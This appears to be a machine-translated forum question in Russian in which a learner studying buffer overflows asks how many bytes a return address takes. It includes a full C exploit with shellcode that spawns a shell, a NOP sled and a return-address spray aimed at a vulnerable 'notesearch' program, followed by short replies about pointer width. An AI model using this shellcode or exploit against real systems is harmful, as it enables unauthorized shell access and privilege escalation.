Я знаю, что это может звучать немного noobish, но я не могу найти это где угодно. На 64-битной машине, сколько байтов является обратным адресом? Как насчет 32 бит?Каков размер обратного адреса?
Причина, по которой я спрашиваю, заключается в том, что я изучаю эксплойты переполнения буфера, и мне приходится писать эксплойт. Существует такая программа, в которой в буфере выделено 100 символов, но не проверяет, не переполнена ли она. Программа у меня до сих пор:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
const char shellcode[] =
"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05";
int main(int argc, char *argv[]) {
long int i, *ptr, ret, offset = 176;
char *command, *buffer;
command = (char *) malloc(200);
memset(command, 0, 200); //Zero out the new memory
strcpy(command, "./notesearch \'");
buffer = command + strlen(command); // Set buffer at the end
if(argc > 1) //Set offset
offset = atoi(argv[1]);
ret = ((long int) &i) - offset; //Set return address
for(i=0; i <160; i+=8) //Fill buffer with return addres
*((long int *)(buffer + i)) = ret;
memset(buffer, 0x90, 60); //Build NOP sled
memcpy(buffer+60, shellcode, sizeof(shellcode) -1);
strcat(command, "\'");
system(command); //Run Exploit
free (command);
}
Причина мне интересно, потому что когда я заполнения буфера с обратным адресом, мне нужно, чтобы убедиться, что это правильный размер
Что вы подразумеваете под этим? Вы имеете в виду адрес инструкции, к которой вы возвращаетесь, при выполнении 'return;'? – Barmar
Программы C не имеют явного «обратного адреса». Указатели функций в 64-разрядном адресном пространстве можно разумно ожидать, что они будут иметь ширину 64 бита и 32 бита в 32-битовом адресном пространстве. Это применимо, когда код и данные находятся в одном и том же пространстве. Я работал с чипами DSP с отдельным пространством данных и программ с разными характеристиками. – Kaz
Почему это имеет значение? –